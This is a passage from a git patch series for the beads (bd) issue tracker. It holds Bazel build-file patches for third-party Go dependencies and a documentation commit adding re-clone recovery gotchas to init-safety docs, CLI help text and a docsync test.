"go_srcs", +- srcs = glob(["*.fbs"]), +- outs = [n[:-4] + ".go" for n in glob(["*.fbs"])], +- cmd = "$(location //:generate.sh) $(location //:flatc) $(RULEDIR) $(location :copyright.txt) $(SRCS)", +- tools = [ +- ":copyright.txt", +- ":flatc", +- ":generate.sh", +- ], +-) +- +-pkg_tar( +- name = "go_srcs.tar", +- srcs = [ +- "fileidentifiers.go", +- ":go_srcs", +- ], +- mode = "0644", +- package_dir = "gen/fb/serial", +-) +- ++# Patched for Bazel (Bzlmod): dropped the pkg_tar/go_srcs/flatc codegen ++# targets. They load @rules_pkg, which is not visible from go_deps extension ++# repos under Bzlmod, and are only used to regenerate flatbuffers sources. + go_library( + name = "serial", + srcs = [ diff --git a/third_party/patches/eventsapi_schema_build.patch b/third_party/patches/eventsapi_schema_build.patch new file mode 100644 index 000000000..8f83a524f --- /dev/null +++ b/third_party/patches/eventsapi_schema_build.patch @@ -0,0 +1,120 @@ +diff -ruN a/BUILD.bazel b/BUILD.bazel +--- a/BUILD.bazel 2026-09-21 23:58:53.884394811 +0000 ++++ b/BUILD.bazel 2026-09-21 23:58:53.894171166 +0000 +@@ -1,50 +1 @@ +-load("@npm//:defs.bzl", "npm_link_all_packages") +-load("@npm//:ts-protoc-gen/package_json.bzl", "bin") +-load("@rules_pkg//:pkg.bzl", "pkg_tar") +-load("@rules_shell//shell:sh_binary.bzl", "sh_binary") +-load(":defs.bzl", "is_windows") +- +-is_windows(name = "is_windows") +- +-npm_link_all_packages( +- name = "node_modules", +-) +- +-bin.protoc_gen_ts_binary( +- name = "protoc-gen-ts", +-) +- +-filegroup( +- name = "go_srcs_files", +- srcs = [ +- "//dolt/services/eventsapi/v1alpha1:eventsapi_go_proto", +- ], +- output_group = "go_generated_srcs", +-) +- +-pkg_tar( +- name = "srcs", +- srcs = [ +- ":go_srcs_files", +- "//dolt/services/eventsapi/v1alpha1:eventsapi_ts_proto", +- ], +- mode = "0644", +- remap_paths = { +- "dolt/services/eventsapi/v1alpha1/eventsapi_go_proto_/github.com/dolthub/eventsapi_schema": "/", +- }, +- strip_prefix = "./", +-) +- +-sh_binary( +- name = "update", +- srcs = ["update.sh"], +- args = [ +- "$(rlocationpath :srcs)", +- ], +- data = [ +- ":srcs", +- ], +- deps = [ +- "@bazel_tools//tools/bash/runfiles", +- ], +-) ++package(default_visibility = ["//visibility:public"]) +diff -ruN a/dolt/services/eventsapi/v1alpha1/BUILD.bazel b/dolt/services/eventsapi/v1alpha1/BUILD.bazel +--- a/dolt/services/eventsapi/v1alpha1/BUILD.bazel 2026-09-21 23:58:53.889887856 +0000 ++++ b/dolt/services/eventsapi/v1alpha1/BUILD.bazel 2026-09-22 00:00:59.862349475 +0000 +@@ -1,26 +1,32 @@ +-load("@rules_go//proto:def.bzl", "go_proto_library") +-load("@protobuf//bazel:proto_library.bzl", "proto_library") +-load("//:defs.bzl", "typescript_proto_library") ++load("@io_bazel_rules_go//go:def.bzl", "go_library") + + package(default_visibility = ["//visibility:public"]) + +-proto_library( +- name = "eventsapi_proto", +- srcs = glob(["*.proto"]), +- deps = [ +- "@protobuf//:duration_proto", +- "@protobuf//:timestamp_proto", +- ], +-) +- +-go_proto_library( ++# Patched for Bazel (Bzlmod): the shipped proto/BUILD files reference ++# WORKSPACE-era apparent names (@rules_go, @protobuf, @npm) that are not ++# visible from go_deps extension repos under Bzlmod. The repo ships ++# pre-generated *.pb.go files, so a plain go_library replaces the ++# proto toolchain entirely. ++go_library( + name = "eventsapi_go_proto", +- compilers = ["@rules_go//proto:go_grpc"], ++ srcs = [ ++ "client_event.pb.go", ++ "event_constants.pb.go", ++ ], + importpath = "github.com/dolthub/eventsapi_schema/dolt/services/eventsapi/v1alpha1", +- proto = ":eventsapi_proto", ++ visibility = ["//visibility:public"], ++ deps = [ ++ "@org_golang_google_grpc//:grpc", ++ "@org_golang_google_grpc//codes:codes", ++ "@org_golang_google_grpc//status:status", ++ "@org_golang_google_protobuf//reflect/protoreflect:protoreflect", ++ "@org_golang_google_protobuf//runtime/protoimpl:protoimpl", ++ "@org_golang_google_protobuf//types/known/durationpb:durationpb", ++ "@org_golang_google_protobuf//types/known/timestamppb:timestamppb", ++ ], + ) + +-typescript_proto_library( +- name = "eventsapi_ts_proto", +- proto = ":eventsapi_proto", ++alias( ++ name = "v1alpha1", ++ actual = ":eventsapi_go_proto", + ) +diff -ruN a/tools/BUILD.bazel b/tools/BUILD.bazel +--- a/tools/BUILD.bazel 2026-09-21 23:58:53.892261249 +0000 ++++ b/tools/BUILD.bazel 2026-09-21 23:58:53.898171172 +0000 +@@ -1,6 +1 @@ +-load("@bazelrc-preset.bzl", "bazelrc_preset") +- +-bazelrc_preset( +- name = "preset", +- strict = True, +-) ++package(default_visibility = ["//visibility:public"]) diff --git a/third_party/patches/flatbuffers_v23_importpath.patch b/third_party/patches/flatbuffers_v23_importpath.patch new file mode 100644 index 000000000..3a5d2018e --- /dev/null +++ b/third_party/patches/flatbuffers_v23_importpath.patch @@ -0,0 +1,11 @@ +diff -ruN a/go/BUILD.bazel b/go/BUILD.bazel +--- a/go/BUILD.bazel 2026-09-22 00:06:47.043685364 +0000 ++++ b/go/BUILD.bazel 2026-09-22 00:06:47.045883735 +0000 +@@ -18,6 +18,6 @@ + "struct.go", + "table.go", + ], +- importpath = "github.com/google/flatbuffers/go", ++ importpath = "github.com/dolthub/flatbuffers/v23/go", + visibility = ["//visibility:public"], + ) diff --git a/tools/docsmint/BUILD.bazel b/tools/docsmint/BUILD.bazel new file mode 100644 index 000000000..23dd7578d --- /dev/null +++ b/tools/docsmint/BUILD.bazel @@ -0,0 +1,27 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "docsmint_lib", + srcs = [ + "docsmint.go", + "legacy.go", + "main.go", + ], + importpath = "github.com/steveyegge/beads/tools/docsmint", + visibility = ["//visibility:private"], +) + +go_binary( + name = "docsmint", + embed = [":docsmint_lib"], + visibility = ["//visibility:public"], +) + +go_test( + name = "docsmint_test", + srcs = [ + "docsmint_test.go", + "legacy_test.go", + ], + embed = [":docsmint_lib"], +) From 54dd4da6708558840f88863266b9ca702893feb1 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sun, 27 Sep 2026 03:41:05 -0700 Subject: [PATCH 152/624] docs(recovery): init-safety re-clone playbook covers damaged-store and fresh-clone gotchas (#6431) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(docs): red — Docs: init-safety re-clone playbook must say damaged stores go OUTSIDE data_dir and a fresh clone needs bd migrate schema (refs be-wv0d0) * feat: green — Docs: init-safety re-clone playbook must say damaged stores go OUTSIDE data_dir and a fresh clone needs bd migrate schema (refs be-wv0d0) - docs/recovery/init-safety.md: new re-clone-gotchas section covering both live gotchas from ga-vrq5pu (damaged/set-aside stores must move OUTSIDE data_dir; a fresh clone needs `bd migrate schema` for dolt-ignored clone-local tables), with cross-reference pointers from the two existing bd bootstrap mentions and a pointer (not a duplication) to bd doctor --fix's automated corrupt-manifest convention. Freshness markers bumped. - cmd/bd/init_safety_help.go: RECOVERY section of the init-safety Long help gets a brief RE-CLONE GOTCHAS addendum with both symptom signatures and the fix command. - test/docsync/init_safety_recovery_test.go: retargeted TestInitSafetyCLIReferenceCoversReCloneGotchas (written during RED) to TestInitSafetyCLIHelpCoversReCloneGotchas, asserting on cmd/bd/init_safety_help.go's Long field instead of the generated docs/cli-reference/init-safety.md. That generated page is pinned to a released bd (docs/cli-docs.pin = v1.2.2, built in a detached worktree per scripts/resolve-docs-bd.sh) and does not pick up a Long-field edit at HEAD until a maintainer bumps the pin at the next release — confirmed empirically (`git show v1.2.2:cmd/bd/init_safety_help.go` still points at the deprecated docs/RECOVERY.md path, and a full ./scripts/generate-cli-docs.sh run here produced zero diff to the committed docs/cli-reference/). CI's own drift gate (scripts/check-cli-docs-drift.sh) is blame-scoped for exactly this reason. The original RED test was asserting on an artifact this PR cannot legitimately change without fighting that pin. * fix(docs): address review feedback on init-safety re-clone playbook Three fixes per bee-ghosttrack's REQUEST-CHANGES on PR #6431: - Correct Gotcha 1's "The fix" paragraph: bd doctor --fix's corrupt-manifest repair renames the whole data_dir directory to a sibling ..corrupt.backup path, not a backup nested inside the database's own directory. Verified against cmd/bd/doctor/fix/database_integrity.go and cmd/bd/doctor/tracked_runtime.go. - Replace the hardcoded "Schema already at v64" literal with version-agnostic "Schema already at v" in the doc and CLI help text, and narrow the docsync test assertion to the prefix "schema already at v" so it survives future version bumps instead of rotting again. - Drop the dead GitHub-issue-style link around ga-vrq5pu (a Gas City bead id, not a GitHub issue) — keep it as plain text. Ref: be-hobyw * review: correct re-clone gotchas and tighten their guards (PR #6431 iters 1-2) Maintainer review fixup for the adopted PR. This is a docs-only PR whose entire deliverable is factual accuracy, so every finding here is about a claim the doc makes rather than about code behaviour. === Iteration 1 === [major] Gotcha 1's "The fix" paragraph misattributed the automated repair and pointed an operator mid-crash-loop at a path that cannot run. Verified first-hand in the worktree: - internal/doltserver/manifest_recovery.go:231-235 renames //.dolt -> /.dolt..corrupt.backup, i.e. IN PLACE, not the whole data_dir to a sibling as the doc claimed. It also only fires behind nomsDirLooksCorrupt, whose own comment is "recovery only fires when we can prove there is nothing the user would want to keep" (:94-100) - so it never touches the superseded-but-populated store the gotcha is about. - The whole-data_dir -> sibling rename is a different fix: cmd/bd/doctor/fix/database_integrity.go:35,43-45 over getDatabasePath(beadsDir) (validation.go:15-21). - That fix opens with serverModeIntegrityRecoveryGuard, which refuses outright in Dolt server mode (:79-96). Rewritten to state all three facts and to tell the reader plainly that the move is theirs to make by hand. Kept the correct headline sentence. The paragraph deliberately does not assert anything about where the in-place backup lands under the legacy single-database layout (data_dir/.dolt), the one premise the review left unproven - the wording is scoped to the standard // layout instead of minting a fresh unverified claim. [minor] Gotcha 2's mechanism sentence ("bd's ordinary open does not recreate them") is false for embedded mode: newStore -> initSchema (store.go:285,470) calls schema.MigrateUp (:574), and migrationWorkNeeded returns true whenever !ignoredSource.atLatest (schema.go:866-867) - and ignored_schema_migrations is itself in doltIgnorePatterns, so a fresh clone always qualifies. Replaced the universal with the actual condition. The replacement list of opens that do NOT self-heal was itself wrong on its first item; see iteration 2 below. The prescribed remedy was already correct and is unchanged. [minor] The doc's prose Freshness source list gained cmd/bd/init_safety_help.go but the enforcing DOCS array did not. Added to both scripts/check-doc-freshness.sh and the pinned row in scripts/check_doc_freshness_test.go - a coupled pair: editing only the script reds the pinned test with "Freshness source does not name cmd/bd/init_safety_help.go" (verified by running exactly that mutation). [nit] The docsync guard for the headline rule was two independent whole-file substring checks. Scoped it to Gotcha 1's own section and matched the advice as a phrase, and pinned both ends of the help text's #re-clone-gotchas cross-reference, which neither markdown link checker can see because it lives in a Go string. Five mutation legs, each reddening only its own assertion: inverting the advice, moving the phrase outside the section, renaming the heading, breaking the help anchor, and removing the Gotcha 1 heading. The inversion leg is the one that matters - the file still contained "outside" (2x) and "data_dir" (13x), so the old form stayed green on inverted advice. [nit] Bumped Last reviewed: to the revision date. === Iteration 2 === Both lanes verified all five iteration-1 fixes. Three prose findings remained, none a merge gate (scorecard: approve, Required Changes: none). All three are the same defect class - a sentence that quantifies over a set the author did not census - so each is fixed by removing the quantifier rather than by restating it more carefully. [minor] Gotcha 2's replacement enumeration was false on its first item: a server, shared or proxied open DOES replay the clone-local series in this doc's own scenario. Re-derived at head, both lanes independently: - internal/storage/uow/dolt_sql_provider.go:267-287 calls MigrateUpWithLock UNCONDITIONALLY on the non-team-server, non-preview arm; p.readOnly is consulted only after a RemoteMigrateGateError comes back (:288-296), so it cannot suppress the pass. - The gate cannot refuse a main-current clone: PendingVersions is mainSource.pendingVersions only (schema.go:525-527) and the gate early-returns nil on len(pending)==0 (remote_migrate_gate.go:731-737), so the ignored series is invisible to it. - migrationWorkNeeded is true whenever !ignoredSource.atLatest (schema.go:866-869), so the locked pass runs the full MigrateUp including ignoredSource.migrate (schema.go:822). DoltStore.initSchema reaches the same call on the writable-open path (dolt/store.go:3076). So the positive clause is widened to any writable open (embedded, server or proxied), and the negative clause is rewritten as a tautology plus an open list: the open that hit the error was not self-healing, and the kinds that skip or only verify "include" read-only/preview opens, team-server opens (verifyTeamServerSchema only checks - dolt_sql_provider.go:342-371), the preview-attach arm, and gate-refused opens. Each named arm was verified individually; the list deliberately does not claim to be exhaustive, which is what the previous wording got wrong. Nothing in docsync can enforce this paragraph, so an open list is also the honest shape. [minor] Gotcha 1's data_dir locator omitted the mode that overrides both knobs it names. ResolveDoltDir checks IsSharedServerMode() FIRST and returns SharedDoltDir() before it ever reaches projectDoltDirPath (doltserver.go:316-330); the knobs are BEADS_DOLT_SHARED_SERVER=1|true or the dolt.shared-server config key (:117-122), and the directory is ~/.beads/shared-server/dolt/, overridable via BEADS_SHARED_SERVER_DIR (:248-257, :275-285). Added as its own paragraph rather than growing the parenthetical, with the reason it matters most there: one shared data_dir holds every project's database, so a single stray subdirectory crash-loops the server for all of them. [nit] "neither of bd doctor --fix's TWO Dolt-database repairs" made a numeric claim the sentence does not need, and the count is wrong: cmd/bd/doctor/fix/repo_fingerprint.go:135-161 os.RemoveAll's cfg.DatabasePath(beadsDir) behind an interactive "This will DELETE %s. [y/N]", and cleanCruftBeadsDirFiles (artifacts.go:238) can remove a .beads subdirectory too when a redirect is expected. Dropping the word "two" would have left "neither", which is itself a two-quantifier, so the count is removed instead: "no bd doctor --fix repair performs this move here. The two that come closest are:" - now a statement about the two bullets that follow, not a census of the repairs. The operative universal survives the census (the move-performing rename sites are only database_integrity.go:46,54; the others delete or rename in place), so the reader's action is unchanged. Validation (iteration 2): go test -tags=gms_pure_go ./test/docsync (8 tests, green, zero skips, both InitSafety tests among them); go test -tags=integration -count=1 -run Freshness ./scripts (33 pass, 1 Windows-only skip); ./scripts/check-doc-freshness.sh PASS with docs/recovery/init-safety.md at 0 days old and all five of its Freshness sources resolving; git diff --check clean. Prose-only: no code, test or freshness-pair file changed this iteration. --------- Co-authored-by: Julian Knutsen --- cmd/bd/init_safety_help.go | 16 +++ docs/recovery/init-safety.md | 136 +++++++++++++++++- scripts/check-doc-freshness.sh | 2 +- scripts/check_doc_freshness_test.go | 2 +- test/docsync/init_safety_recovery_test.go | 166 ++++++++++++++++++++++ 5 files changed, 318 insertions(+), 4 deletions(-) create mode 100644 test/docsync/init_safety_recovery_test.go diff --git a/cmd/bd/init_safety_help.go b/cmd/bd/init_safety_help.go index 607191fad..94e86ac6a 100644 --- a/cmd/bd/init_safety_help.go +++ b/cmd/bd/init_safety_help.go @@ -87,6 +87,22 @@ RECOVERY If you hit a refusal, see docs/recovery/init-safety.md for step-by-step recovery playbooks for each exit code. + +RE-CLONE GOTCHAS + + Setting a damaged or superseded database directory aside by hand, or + relying on a fresh clone right away? Two gotchas from live recovery: + + Crash-loop: a set-aside store left INSIDE data_dir makes the sql-server + treat it as a database and crash-loop with "root hash doesn't exist: + ". Move it OUTSIDE data_dir instead. + + Missing tables: a fresh clone lacks clone-local tables (leases, wisps, + events, ...) until you run "bd migrate schema" (no --force). You'll see + "table not found: leases" until then; "Schema already at v" after + running it is expected, not an error. + + See docs/recovery/init-safety.md#re-clone-gotchas for full detail. `, Run: func(cmd *cobra.Command, _ []string) { evt := metrics.NewCommandEvent("init-safety") diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index 7bb4811f4..41088984c 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -3,10 +3,11 @@ title: Recovery Playbooks description: Step-by-step recovery for bd init and bd dolt push/pull refusals, including the primary-key fork playbook --- -Last reviewed: 2026-09-08 +Last reviewed: 2026-09-27 Freshness source: `cmd/bd/init.go`, `cmd/bd/init_safety.go`, -`cmd/bd/init_safety_test.go`, and `cmd/bd/dolt.go`. +`cmd/bd/init_safety_test.go`, `cmd/bd/init_safety_help.go`, and +`cmd/bd/dolt.go`. This document lives next to the ADRs and matches the structure of `bd`'s error messages: each named refusal in `bd init` and `bd dolt push`/`pull` @@ -25,6 +26,7 @@ See also: `bd help init-safety`, and - [init-token-missing — a destructive re-init refused because `--destroy-token` is missing or wrong](#init-token-missing) - [init-local-exists — `bd init --reinit-local` refused because local data already exists](#init-local-exists) - [pk-fork-refused — `bd dolt pull`/`push` refused because a table has different primary keys in its common ancestor](#pk-fork-refused) +- [re-clone-gotchas — two gotchas hit during manual re-clone recovery: damaged stores left inside `data_dir`, and a fresh clone missing clone-local tables](#re-clone-gotchas) --- @@ -62,6 +64,10 @@ bd bootstrap This clones the remote's Dolt database into a fresh local `.beads/`. Your local state is ignored; the team's history becomes yours. +If you set aside the old `.beads/dolt` instead of deleting it, or `bd list` +fails right after this with `table not found: leases`, see +[re-clone-gotchas](#re-clone-gotchas) below before you do anything else. + ### 2. You want to diagnose what went wrong before deciding ``` @@ -279,6 +285,10 @@ bd import /tmp/beads-local.jsonl # re-apply local-only work re-created, newer local edits are applied, and rows older than what the remote already has are skipped. Spot-check with `bd stats` afterwards. +Doing this by hand (moving `.beads/dolt` aside instead of `rm -rf`, or +skipping straight to `bd list`) can hit either of two live gotchas — see +[re-clone-gotchas](#re-clone-gotchas) below. + ### Prevention (upgrades across PK-reshaping migrations) - **Sync before upgrading**: `bd dolt push` + `bd dolt pull` on every clone @@ -297,3 +307,125 @@ remote already has are skipped. Spot-check with `bd stats` afterwards. migrations, so do not rely on it; the "sync before" step above is what preserves these clones' work, because `bd bootstrap` replaces the local database. + +--- + +## re-clone-gotchas + +Two gotchas hit during a live manual re-clone recovery (issue ga-vrq5pu), +each of which cost real time because the symptom looks nothing like the +cause. Both +apply any time you set aside or replace a Dolt database directory by hand — +during the [pk-fork-refused](#pk-fork-refused) playbook above, the +[init-force-refused](#init-force-refused) `bd bootstrap` path, or any other +manual re-clone. + +### Gotcha 1 — a damaged/set-aside store must go OUTSIDE data_dir + +**Symptom** + +``` +root hash doesn't exist: +``` + +...printed repeatedly as the Dolt sql-server crash-loops under its +supervisor/watchdog. Nothing in that message mentions a stray directory, so +it does not look like "you left a directory lying around." + +**Why this happens** + +The sql-server treats *every* subdirectory of its `data_dir` (default +`.beads/dolt/`, overridable via `BEADS_DOLT_DATA_DIR` or the `dolt_data_dir` +field in `metadata.json`) as its own database and tries to load it. If you +move a damaged or superseded database directory aside but leave it *inside* +`data_dir` (for example, renaming `.beads/dolt/mydb` to +`.beads/dolt/mydb.bak` instead of moving it out of `.beads/dolt/` +entirely), the server tries to load the damaged copy too and dies on it — +even though the healthy database sitting right next to it is fine. + +Check which mode you are in before you go looking for `data_dir`: in shared +server mode (`BEADS_DOLT_SHARED_SERVER=1`, or the `dolt.shared-server` config +key) it is `~/.beads/shared-server/dolt/` — or `$BEADS_SHARED_SERVER_DIR/dolt/` +— and that takes precedence over both of the per-project knobs above. That is +also where this gotcha bites hardest: one shared `data_dir` holds every +project's database on the machine, so a single stray subdirectory crash-loops +the server for all of them. + +**The fix** + +When you set a database directory aside by hand, move it *outside* +`data_dir` — e.g. up to `/tmp/` or a sibling of `.beads/`, never to a +sibling path still under `.beads/dolt/`. + +Do not wait for an automated repair to do it for you: no `bd doctor --fix` +repair performs this move here. The two that come closest are: + +- The **corrupt-manifest repair** renames the damaged database's own + `.dolt/` directory *in place* — `//.dolt` → + `//.dolt..corrupt.backup` — and reinitializes beside + it, so in the standard `//` layout the backup is nested + inside the database directory rather than becoming a new direct child of + `data_dir`. It also fires only once its scan can prove the store holds no + recoverable chunk data, so it will not touch the superseded-but-populated + copy this gotcha is about (`internal/doltserver/manifest_recovery.go`). +- The rename that *does* move a whole `data_dir` to a timestamped sibling + (`data_dir` → `data_dir..corrupt.backup`) belongs to a different + repair, the database-integrity recovery + (`cmd/bd/doctor/fix/database_integrity.go`) — and that one refuses + outright for a repo configured in Dolt server mode, so if the + crash-looping server is your configured backend it is unavailable too. + +Make the move by hand, and make sure it lands outside `data_dir`. + +### Gotcha 2 — a fresh clone needs `bd migrate schema` + +**Symptom** + +``` +table not found: leases +``` + +(or a similar "table not found" error for `wisps`, `events`, +`local_metadata`, or another clone-local table). A supervisor or agent +harness that expects to load session beads right after a fresh clone fails +here. + +**Why this happens** + +A handful of tables — `leases`, `wisps`, `wisp_*`, `events`, `bd_events_*`, +`local_metadata`, `ignored_schema_migrations`, `repo_mtimes` — are +dolt-ignored, clone-local tables: they exist on a running database but are +deliberately excluded from what `bd dolt push`/`pull`/clone transfers, so a +fresh clone starts without them. + +A writable open normally re-materializes them on its own, whether it is +embedded or reaches the database through a server or proxied sql-server: it +runs the schema migration pass, which replays the clone-local ("ignored") +series whenever that series' cursor table is behind — and the cursor table, +`ignored_schema_migrations`, is itself clone-local, so a fresh clone always +qualifies (`internal/storage/schema/schema.go`, +`internal/storage/uow/dolt_sql_provider.go`). Reaching the error above +therefore means the open that hit it was *not* one of those self-healing +opens. The kinds that skip the pass, or only verify, include a deliberately +non-mutating read-only or preview open, a team-server open (it checks the +schema rather than migrating it), the preview-attach path, and any open whose +open-time migration gate refused. Run the migration explicitly to close the +gap. + +**The fix** + +``` +bd migrate schema +``` + +No `--force` needed. This replays the clone-local tables and prints: + +``` +✓ Schema already at v +``` + +**That output is expected and reassuring, not an error** — it means the +*versioned* schema was already current; the clone-local tables have now +been (re)created regardless. Run this once after any fresh clone or +`bd bootstrap`, before relying on `bd list` or any other command that reads +session state. diff --git a/scripts/check-doc-freshness.sh b/scripts/check-doc-freshness.sh index 7802013de..54117ef63 100755 --- a/scripts/check-doc-freshness.sh +++ b/scripts/check-doc-freshness.sh @@ -23,7 +23,7 @@ DOCS=( "docs/getting-started/ide-setup.md|cmd/bd/setup*.go;internal/recipes/" "docs/integrations/azure-devops.md|cmd/bd/ado*.go;internal/ado/" "docs/reference/json-schema.md|cmd/bd/output.go;cmd/bd/errors.go;cmd/bd/protocol/json_contract_test.go" - "docs/recovery/init-safety.md|cmd/bd/init.go;cmd/bd/init_safety.go;cmd/bd/init_safety_test.go;cmd/bd/dolt.go" + "docs/recovery/init-safety.md|cmd/bd/init.go;cmd/bd/init_safety.go;cmd/bd/init_safety_test.go;cmd/bd/init_safety_help.go;cmd/bd/dolt.go" "engdocs/ERROR_HANDLING.md|cmd/bd/*.go;cmd/bd/errors.go" "engdocs/SERVE_RUNBOOK.md|internal/httpapi/server.go;internal/httpapi/events_watch.go;cmd/bd/serve.go;internal/httpapi/auth.go" "engdocs/LINTING.md|.golangci.yml;scripts/ci/pr-lint.sh;Makefile;.github/workflows/pr.yml;.github/workflows/main.yml" diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 0bb5a79d8..bdbf22e12 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -20,7 +20,7 @@ var freshnessDocuments = []struct { {"docs/getting-started/ide-setup.md", []string{"cmd/bd/setup*.go", "internal/recipes/"}}, {"docs/integrations/azure-devops.md", []string{"cmd/bd/ado*.go", "internal/ado/"}}, {"docs/reference/json-schema.md", []string{"cmd/bd/output.go", "cmd/bd/errors.go", "cmd/bd/protocol/json_contract_test.go"}}, - {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go", "cmd/bd/dolt.go"}}, + {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go", "cmd/bd/init_safety_help.go", "cmd/bd/dolt.go"}}, {"engdocs/ERROR_HANDLING.md", []string{"cmd/bd/*.go", "cmd/bd/errors.go"}}, {"engdocs/SERVE_RUNBOOK.md", []string{"internal/httpapi/server.go", "internal/httpapi/events_watch.go", "cmd/bd/serve.go", "internal/httpapi/auth.go"}}, {"engdocs/LINTING.md", []string{".golangci.yml", "scripts/ci/pr-lint.sh", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, diff --git a/test/docsync/init_safety_recovery_test.go b/test/docsync/init_safety_recovery_test.go new file mode 100644 index 000000000..2ab0f87b5 --- /dev/null +++ b/test/docsync/init_safety_recovery_test.go @@ -0,0 +1,166 @@ +package docsync + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// TestInitSafetyRecoveryDocCoversReCloneGotchas guards two gotchas discovered +// during live recovery incident ga-vrq5pu: +// +// 1. A damaged/set-aside Dolt database directory left INSIDE the +// sql-server's data_dir crash-loops the server, because every +// subdirectory of data_dir is treated as its own database. Symptom: +// "root hash doesn't exist: ". +// 2. A fresh clone lacks dolt-ignored clone-local tables (leases, wisps, +// events, local_metadata, etc.) until `bd migrate schema` has run once. +// Symptom: "table not found: leases". The fix's "Schema already at v" +// output is the expected, reassuring result — not an error. +func TestInitSafetyRecoveryDocCoversReCloneGotchas(t *testing.T) { + root := repoRoot() + path := filepath.Join(root, "docs", "recovery", "init-safety.md") + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading %s: %v", path, err) + } + lower := strings.ToLower(string(data)) + + cases := []struct { + name string + substr string + }{ + {"damaged-store crash-loop symptom", "root hash doesn't exist"}, + {"fresh-clone missing-table symptom", "table not found: leases"}, + {"fresh-clone fix command", "bd migrate schema"}, + {"fresh-clone reassuring success message", "schema already at v"}, + } + for _, c := range cases { + if !strings.Contains(lower, strings.ToLower(c.substr)) { + t.Errorf("docs/recovery/init-safety.md missing %s: expected to find %q", c.name, c.substr) + } + } + + // Scope the headline rule to Gotcha 1's own section and match it as a + // phrase. Two independent whole-file substring checks ("outside" and + // "data_dir" anywhere in this ~400-line document) stayed green through a + // rewrite that inverted the advice, so they did not guard the rule this + // test's own failure message describes. + section, ok := docSection(string(data), gotcha1Heading) + if !ok { + t.Fatalf("docs/recovery/init-safety.md missing the %q section", gotcha1Heading) + } + if want := "move it outside data_dir"; !strings.Contains(flattenProse(section), want) { + t.Errorf("docs/recovery/init-safety.md %q section must tell the reader to %q: the sql-server treats every data_dir subdirectory as a database, so a set-aside store left inside it crash-loops the server", + gotcha1Heading, want) + } + + // cmd/bd/init_safety_help.go links to #re-clone-gotchas from inside a Go + // string, which neither markdown link checker in docsync_test.go + // (TestDocsSiteLinks, TestEngdocsAndRootMarkdownLinks) can see. Pin the + // heading here and the link itself in the help test below so the anchor + // cannot rot on either side. + if !hasHeadingLine(string(data), reCloneGotchasHeading) { + t.Errorf("docs/recovery/init-safety.md must keep the %q heading: cmd/bd/init_safety_help.go links to #%s", + reCloneGotchasHeading, reCloneGotchasAnchor) + } +} + +const ( + // reCloneGotchasAnchor is the in-page anchor cmd/bd/init_safety_help.go + // sends readers to; reCloneGotchasHeading is the doc heading that + // generates it. + reCloneGotchasAnchor = "re-clone-gotchas" + reCloneGotchasHeading = "## " + reCloneGotchasAnchor + + gotcha1Heading = "### Gotcha 1" +) + +// docSection returns the markdown between the heading line that starts with +// prefix and the next heading line, ignoring headings inside fenced code +// blocks. +func docSection(doc, prefix string) (string, bool) { + var ( + out []string + inside bool + fenced bool + ) + for _, line := range strings.Split(doc, "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "```") { + fenced = !fenced + } else if !fenced && strings.HasPrefix(line, "#") { + if inside { + break + } + inside = strings.HasPrefix(line, prefix) + } + if inside { + out = append(out, line) + } + } + return strings.Join(out, "\n"), inside +} + +// hasHeadingLine reports whether doc contains heading as a whole line, so a +// mention of the same text in prose does not satisfy the anchor pin. +func hasHeadingLine(doc, heading string) bool { + for _, line := range strings.Split(doc, "\n") { + if strings.TrimRight(line, " \t\r") == heading { + return true + } + } + return false +} + +// flattenProse lowercases markdown prose and removes the emphasis, code +// decoration, and hard line wrapping that would otherwise break a phrase +// match. Underscores survive: `data_dir` is part of the phrase being matched. +func flattenProse(s string) string { + s = strings.NewReplacer("*", "", "`", "").Replace(strings.ToLower(s)) + return strings.Join(strings.Fields(s), " ") +} + +// TestInitSafetyCLIHelpCoversReCloneGotchas guards the same two re-clone +// gotchas (at CLI-help brevity) in cmd/bd/init_safety_help.go's Long field, +// the generator source for docs/cli-reference/init-safety.md. +// +// The generated page itself is intentionally NOT checked here: per +// docs/cli-docs.pin, docs/cli-reference/ is regenerated from a pinned +// *released* bd tag (built in a detached worktree), not from this checkout, +// so a Long-field edit at HEAD does not flow into the committed generated +// page until a maintainer bumps the pin as part of a release (see +// docs/cli-docs.pin's own header comment and scripts/resolve-docs-bd.sh). +// CI's generated-docs drift gate (scripts/check-cli-docs-drift.sh, driven by +// scripts/check-doc-flags.sh) is blame-scoped for exactly this reason: it +// does not fail a PR whose regenerated CLI surface is unchanged from the +// merge-base. Testing the Long field directly checks the content a PR can +// actually change and that will ship in the doc at the next pin bump. +func TestInitSafetyCLIHelpCoversReCloneGotchas(t *testing.T) { + root := repoRoot() + path := filepath.Join(root, "cmd", "bd", "init_safety_help.go") + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading %s: %v", path, err) + } + lower := strings.ToLower(string(data)) + + cases := []struct { + name string + substr string + }{ + {"damaged-store crash-loop symptom", "root hash doesn't exist"}, + {"fresh-clone missing-table symptom", "table not found: leases"}, + {"fresh-clone fix command", "bd migrate schema"}, + } + for _, c := range cases { + if !strings.Contains(lower, strings.ToLower(c.substr)) { + t.Errorf("cmd/bd/init_safety_help.go missing %s: expected to find %q in the Long help text", c.name, c.substr) + } + } + + // The other half of the cross-reference pinned in the doc test above. + if want := "docs/recovery/init-safety.md#" + reCloneGotchasAnchor; !strings.Contains(string(data), want) { + t.Errorf("cmd/bd/init_safety_help.go must send readers to %q for the full detail", want) + } +} From cd2edad6b97e860656934c7cecedfa79075191fa Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 07:15:21 -0700 Subject: [PATCH 153/624] 